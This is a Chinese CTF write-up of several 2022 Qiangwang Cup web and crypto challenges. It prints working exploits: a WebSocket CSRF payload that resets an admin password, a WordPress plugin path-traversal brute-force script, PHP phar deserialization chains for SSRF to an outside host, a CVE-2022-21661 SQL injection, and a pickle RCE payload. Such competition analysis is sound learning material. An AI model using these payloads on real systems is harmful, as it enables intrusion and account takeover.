强网杯2022 wp 部分(含有复现部分)

前言:
由于是大比赛还是开篇感慨两句。我对比赛题目的评价是赞不绝口。这次作为[纯情女色大学生]的队长,带领团队(基本上就我和2个web一个密码在做)完成了rcefile,babyweb,wp-um,polydiv,而ez_login,密码签到,ez_web差点出了,很是遗憾,再接再厉吧

[强网杯2022]rcefile

改content-type后可以上传txt

showfile那里可以看到参数在cookie处

userfile=a%3A1%3A%7Bi%3A0%3Bs%3A36%3A%229023ac8a2a5fc8dc0c4ad0d7bd5f4c86.txt%22%3B%7D

扫描目录,可以看到www.zip

其实是p文

https://www.leavesongs.com/penetration/sangebaimao-2015-11-12-ctf.html

先上传含有恶意代码的inc文件

image-20220803154023791

随后修改cookie,让其反序列化的时候触发spl_autoload_register

image-20220803154042810

[强网杯2022]babyweb

注册登录后,可以看到机器人,怀疑csrf之类

https://medium.com/@osamaavvan/exploiting-websocket-application-wide-xss-csrf-66e9e2ac8dfa

很像这个

image-20220803154107498

机器人访问没有同源策略的限制

所以直接在vps上放下面这个,让admin自己改密码,我思路局限了,一直以为要xss(其实这也是xss,非同源)

<script>
        var url = "ws://" + "127.0.0.1:8888" + "/bot";
        var ws = new WebSocket(url);
        ws.onopen = function(e) {
            ws.send("changepw 123456");
        }
</script>
 echo "<script>var ws = new WebSocket(\"ws://127.0.0.1:8888/bot\");ws.onopen = function(e){ws.send(\"changepw 666\");}</script>" > index.html

随后bugreport http://8.129.42.140

接着可以admin:666登录,csrf一波

然后有hint,下载后是源码

仔细审计,发现显然有漏洞,前面用的是

data = request.get_json()

后面就变成了

data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码

变成了request.get_data()[1:],而且这个切片居然不是从0开始,赤裸裸的暗示

get_json的特点是如果json中出现同一个键的值,后者将覆盖前者,get_data则都会获取到

本地测试一下

Demo

from flask import Flask,request
app = Flask(__name__)

@app.route("/buy", methods=['POST'])
def buy():
        data = request.get_json()
        print(data)
        data2 = request.get_data()[1:]
        print(data2)

if __name__ == '__main__':
        app.run(host='0.0.0.0',port=80)

image-20220803154131635

app.py使用get_json,后者会覆盖前者,可以用于绕过num error,而go这里使用get_data,那么遍历的时候必然出现把-1拿去运算让钱变多的情况

Payload

{"product":[{"id":1,"num":0},{"id":2,"num":-1}],
"product":[{"id":1,"num":0},{"id":2,"num":0}]}

[强网杯2022]polydiv

def __truediv__(self,other):
        a,b = self.param[::-1],other.param[::-1]
        r = [0 for i in range(len(a) - len(b) + 1)]
        for i in range(len(r)):
            if a[i]==1:
                r[i]=1
                for j in range(len(b)):
                    a[i+j]=(a[i+j]+b[j])%2
        return Polynomial2(r)

from pwn import *
import time
#import sqlite3
import string
import hashlib
import re
from poly2 import *
context.log_level='debug'
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
class Violent:
    def get(self, target1, target2):
        d = string.ascii_letters + string.digits
        for i in d:
            for j in d:
                for k in d:
                    for m in d:
                        target = i+j+k+m+target1
                        ret = hashlib.sha256(target.encode()).hexdigest()
                        if(ret == target2):
                            return i+j+k+m

def getExponent(string):
    string=string.decode()
    res=re.findall(r"\d+",string)
    for i in range(len(res)):
        if res[i]=='1':
            res[i]=0
        else:
            res[i]=int(res[i])

    for i in range(len(string)):
        if string[i]=='x' and string[i+1] != '^' and string[i+1] != ')':
            res.append(1)
            break   
    return res

vio = Violent()
# db.make();
host = '47.104.76.78'
port = 23334
while(1):
    nc = remote(host, port)
    nc.recvuntil('sha256(XXXX+')
    target1 = nc.recv(16)
    nc.recvuntil('== ')
    target2 = nc.recv(64)
    nc.recv()
    nc.sendline(vio.get(target1.decode(), target2.decode()))
    for a1 in range (40):
        res1=nc.recvline();
        res2=nc.recvline();
        res3=nc.recvline();
        res=nc.recvline();
        res1=getExponent(res1)
        res2=getExponent(res2)
        res3=getExponent(res3)
        print(res1,res2,res3)
        Pr=Poly(res1)
        Pa=Poly(res2)
        Pc=Poly(res3)
        Pr=Pr-Pc
        print(Pr)
        Pb=Pr/Pa
        nc.sendline((Pb.__str__()).encode())
        res=nc.recvline();
    nc.interactive()
    nc.close()

[强网杯2022]WP-UM

题目的暗示1

猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。

并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n

这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。

解读:用户名密码在特定目录下,wordpress插件有洞

题目的暗示2

另外,猫哥有些私密信息被他隐藏在了某个小角落。你能找到它吗?猫哥的私密信息的格式是flag{},小心被猫哥发现哦!

解读:flag的格式给出了

找到一个用户名MaoGePaMao

插件在这个目录中wp-content/plugins/

插件居然是Hello Dolly1.7.2 ,这玩意能有洞?不太可能

插件还有User Meta - User Profile Builder and User management 2.4.3 用户权限登录这些

插件还有Akismet Spam Protection 4.2.4 反垃圾评论

锁定在User Meta 2.4.3

从wp官网得知

2.4.4

  • Fix: Security fix for file upload path traversal

所以就是目录穿越漏洞,如果可以穿的话,直接爆破username和password文件名就可以出admin账密

先注册账号获得订阅者的身份,然后在upload界面上传文档,上传后会有更改路径的请求,截取后做如下修改,参考https://www.zilyun.com/23036.html

image-20220803154217552

找到文件会返回um_remove_file

那么就差个爆破脚本

脚本

import requests

url = "http://eci-2zeao4g9p62zgdb5p22a.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"

headers = {
         "cookie": "wordpress_154c35e4c1481106cd83199d9a222506=thai1%7C1659410717%7CmLoQ7b1JRcjssxj9qyptp5WRvxSOFTSnmsOlTLgIMTv%7C48dda60795fdf5cf4ad99d7d9c898f0a0d409af55b3e1127b735eb26ba73f42c; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1658145704; wordpress_logged_in_154c35e4c1481106cd83199d9a222506=thai1%7C1659410717%7CmLoQ7b1JRcjssxj9qyptp5WRvxSOFTSnmsOlTLgIMTv%7C89e7a880ae0017f0713acceaf9c106a3f00db397b23fb4e6e0f38286c232ebf2"
     }

proxies = { "http": None, "https": None}

username = ''

# username = MaoGePaMao

for num in range(1,16):

        flag = 1

        for i in range(65,91):
                data={
                "field_name":"upload",
                "filepath":"/../../../../../../../../password/"+str(num)+chr(i),
                "field_id":"um_field_2","form_key":"upload","action":"um_show_uploaded_file",
                "pf_nonce":"4b2836007f","is_ajax":"true"
                }

                r = requests.post(url=url,headers=headers,data=data)
                print("test "+chr(i)+"   ................")
                if "um_remove_file" in r.text:
                        print("[*]It must be this: "+chr(i))
                        username = username + chr(i)
                        flag = 0
                        break

                #print(r.text)
        if flag == 0:
                continue

        for i in range(97,123):
                # url0 = url+chr(i)
                # print(url0)
                # r = requests.get(url=url0)
                # print("test "+chr(i)+"   ................")
                # if r.status_code != 404:
                #         print("[*]It must be this: "+chr(i))
                data={
                "field_name":"upload",
                "filepath":"/../../../../../../../../password/"+str(num)+chr(i),
                "field_id":"um_field_2","form_key":"upload","action":"um_show_uploaded_file",
                "pf_nonce":"4b2836007f","is_ajax":"true"
                }

                r = requests.post(url=url,headers=headers,data=data)
                print("test "+chr(i)+"   ................")
                if "um_remove_file" in r.text:
                        print("[*]It must be this: "+chr(i))
                        username = username + chr(i)
                        break

        print("now username is "+username)

print("***************")
print("[*]username : "+username)

username:MaoGePaMao

password:MaoGeYaoQiFeiLa

image-20220803154239233

蚁剑上去后,看日志,提权什么的很难实现,find命令又超时了,只能瞎找下,还好不难找

image-20220803154251542

[强网杯2022]ez_web

showfile.php?f=xxx

这个应该是可以文件包含的,多次尝试后可以这样绕过waf读到etc/passwd,坑点就是直接看页面很难看出读到文件时的回显,burp效果很好

showfile.php?f=guest/../../../../etc/passwd

就是 任意目录名/../ ,这样相当于还在当前目录,但是能绕白名单

WM有一种办法,buu的老考点:/showfile.php?f=php://filter/read=demo.jpg/resource=index.php

读源码,有index.php,class.php,showfile.php

/showfile.php?f=guest/../class.php

审计一下看到

image-20220801150019350

很容易联想到ssrf,那就要内网信息搜集下

读了hosts,是这样的

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2  3b35825919ae
10.10.10.5  3b35825919ae

赛后复现的时候,看到别的师傅读的是/proc/net/arp,就是记录连接过的内网ip和mac

IP address       HW type     Flags       HW address            Mask     Device
10.10.10.22      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.34      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.31      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.43      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.48      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.14      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.23      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.35      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.28      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.40      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.49      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.6       0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.15      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.20      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.32      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.29      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.41      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.7       0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.12      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.21      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.33      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.26      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.4       0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.13      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.18      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.46      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.27      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.10      0x1         0x2         02:42:0a:0a:0a:0a     *        eth1
10.10.10.38      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.19      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.47      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.24      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.2       0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.101     0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.11      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.39      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.16      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.44      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.25      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.3       0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.8       0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.36      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.17      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.45      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.50      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.59      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.9       0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.37      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.30      0x1         0x0         00:00:00:00:00:00     *        eth1
10.10.10.42      0x1         0x0         00:00:00:00:00:00     *        eth1
172.18.0.111     0x1         0x0         00:00:00:00:00:00     *        eth0
172.18.0.1       0x1         0x2         02:42:18:cb:f4:43     *        eth0
10.10.10.1       0x1         0x2         02:42:b8:04:a4:6e     *        eth1

mac不是00的,说明不是虚拟的ip,有如下几个真实Ip

10.10.10.1, 172.18.0.1 ,10.10.10.10

10.10.10.1这个一般代表本地回环,也就是自己的ip,那么和他同段的地址只有10.10.10.10,分析一下咱就找到了内网靶机ip

在审计那个题class.php的时候发现和nss《再见辛丑》的题的链子是很类似,赛后问了Aurora的队长得知还可以使用引用来写pop链,同时看了null的链子,发现wakeup可以直接绕过(这应该是正解,因为这题的分值其实不高)。总结至少有以下有三种pop链:

  • 再见辛丑魔改链子,全版本通用,但是比较烧脑
  • 引用,全版本通用,比上面短
  • 绕过wakeup,PHP5 < 5.6.25 PHP7 < 7.0.10,很容易写

前两种都是绕过覆盖进行绕过__wakeup,说人话就是对象被反序列化,触发wakeup后,我们还有魔术方法能重新把变量覆写,再触发恶意方法。

  • pop链1

再见辛丑的魔改链,大家可以去b站看X尼的教学视频自学,讲的超棒

GuestShow::__destruct->GuestShow::__toString->AdminShow::__get
GuestShow::__destruct->Guestshow::__toString->Upload::->get->Upload::__toString->Upload::__get

poc (miku和清辉师傅魔改的,本地亲测有效,序列化的时候会触发,反序列化也会)

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}

class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";

    }
    // public function __wakeup()
    // {
    //     if ($this->schema !== 'file:///var/www/html/') {
    //         $this->schema = 'file:///var/www/html/';
    //     }
    //     if ($this->source !== 'admin.png') {
    //         $this->source = 'admin.png';
    //     }
    // }
}

$a = new GuestShow('1.txt');
$a1 = new GuestShow('1.txt');
$b = new Upload();
$b1 = new Upload();
$b2 = new Upload('');
$c = new AdminShow('');
$c1 = new AdminShow('');

$a->file = $b;
$a1->file = $c1;
$b->tmp = $c;
$b1->date = "http://8.129.42.140:3307";
$b2->date = '';
$b2->tmp = $a1;
$c->str[0] = $b1;
$c->str[1] = $b2;
$b1->filesize = $c1;
$b2->filesize = $c1;

$phar = new Phar('mikus.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($a);
$phar->stopBuffering();
  • pop链2

引用

poc (Aurora队长Jacko大牛写的,太强了)

可以看原文2022强网杯 (wolai.com)

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}

class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";

    }
    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

这里最终的$url会变成file:///etc/passwd#admin.php。用户可控的点再Upload->data这

说一下调用链:

g2::desturct->g2::toString->a2::get(里面有个show())->a2::show

这个show不仅可以用于ssrf,这里还有个点运算符可以触发tosting方法。

$url = $this->schema . $this->source;

而前面$a2->schema = &$a1->name;name一开始赋值是"yyy" ,注意这里的$a1是引用,后面改变$a1->name,这个$a2->schema也会跟着一起变化;

此外我们还看到

$a2->source=$g1, $g1->file=$u, $u->filesize和tmp都是$a1

所以

$url = $this->schema . $this->source;

中的$this->source触发tostring的时候,

g1::tostring->$u::get(并且可以看到$value就是'name')

所以等价于

这个值被赋值为$this->data="file:///var/www/html/"

这个值由于在最后一步的时候是$a1->name=$this->data="file:///var/www/html/",而联想到前面又说了后面改变$a1->name,这个$a2->schema也会跟着一起变化

所以就成了!

image-20220802115524107

  • pop3

wakeup绕过,建议参考

强网杯 WriteUp By Nu1L (qq.com)

(??结果发现null战队好像没有写细节)

其实就是CVE-2016-7124

通过修改 属性数量大于真实值 来绕过wakeup

null战队这个脚本我自己是跑不通的(希望有师傅教我),不过他意思应该是用的这个方法,如果是我做的话,还要

1.用010editor把属性数量修改为比真实属性数量大的数

2.修改数字签名

有个改数字签名的脚本

import gzip
from hashlib import sha1

file = open("nss.phar","rb").read()

text = file[:-28]  #读取开始到末尾除签名外内容

last = file[-8:]   #读取最后8位的GBMB和签名flag

new_file = text+sha1(text).digest() + last  #生成新的文件内容,主要是此时sha1正确了。

open("nss2.phar","wb").write(new_file)

随后上传即可

这里就不展开了

上传时注意到要让服务器为我们添加session,不然就被ban

浅谈 SESSION_UPLOAD_PROGRESS 的利用 - 先知社区 (aliyun.com)

Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。

<form action="http://47.104.95.124:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
    <input type="file" name="file">
    <input type="submit" value="submit">
</form>

image-20220801163408878

可以看到,上传成功了

image-20220801174006728

之后访问10.10.10.10有个php-fpm,ghoper打9000端口就有flag,由于没有环境就没复现了

[强网杯2022]ezlogin

前言:这个题不知道官解是怎么样的,目前得到的解法是通过sql注入找到未过期的session进行登录,当个人认为这也应该要弄个管理员持续访问才好。这次了解了wordpress的数据库目录结构WordPress 数据库详解(是什么,创建、备份和恢复等) – WordPress大学 (wpdaxue.com),moodle的数据库目录结构https://docs.moodle.org/en/Development:Database_schema_introduction,但最终这个moodle.mdl_sessions根本不是系统默认的,呵呵,由于存在封ip已经数据表奇多无比的背景,只能人海战术手注或者sqlmap,这对我的战队很不利。

wpscan扫到的版本是

[+] WordPress version 5.8.2 identified (Insecure, released on 2021-11-10)

搜一下能找到期末那会爆出的CVE-2022-21661,就是wp的sql漏洞

payload

http://47.104.251.7/wp-admin/admin-ajax.php

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,(select group_concat(sid) from moodle.mdl_sessions where id =3)),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

然后这里是可以查到session的,就是你cookie的值,只要这个session未失效就可借此登录

于是这题变成一道运气成分很大的题...

登录以后可以在后台利用一些上传webshell的操作

[强网杯2022]crash

编码绕过+无R的rce

import base64
data=b'''(cbuiltins
exec
S'c="import admin;admin.s\\x65cret='thaii'";exec(c)'
o.'''
print(base64.b64encode(data))

输出

b'KGNidWlsdGlucwpleGVjClMnYz0iaW1wb3J0IGFkbWluO2FkbWluLnNceDY1Y3JldD0ndGhhaWknIjtleGVjKGMpJwpvLg=='

然后去Login

http://39.107.137.85:30843/login?username=admin&password=thaii

在balancer那里把刚刚登录给的session拷贝到hackbar新增的cookie里,还要添加userdata=KGNidWlsdGlucwpleGVjClMnYz0iaW1wb3J0IGFkbWluO2FkbWluLnNceDY1Y3JldD0ndGhhaWknIjtleGVjKGMpJwpvLg==,之间分号隔开

请求第一次rce污染secret=thaii,下一次就直接用原来的cookie访问balancer即可(直接把hackbar的cookie那个勾取消,这样很方便)

登录进去后,可以看到负载均衡的页面

image-20220801133613486

提示:flag in 504 page

这个地方就有点脑洞了,因为本身这个界面就很抽象,想象一下,如果我们这样输入:

  • ip为非法ip
  • 均衡值为0

最后后者可以504

image-20220801133534606

但是似乎复现一次环境就被破坏了

[强网杯2022myJWT]

https://blog.soreatu.com/posts/analysis-of-cve-2022-21449-bypass-java-signature-check-by-two-zeros/

web手写java密码题还能怎么样,只能逆回去呗

byte[] newsig = new byte[16];

System.out.println(new String(Base64.getUrlEncoder().encode(newsig),StandardCharsets.ISO_8859_1));

image-20220803155229970

可惜了,这题最后慢了7分钟,然后我才发现要110名才有优胜奖,淦!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇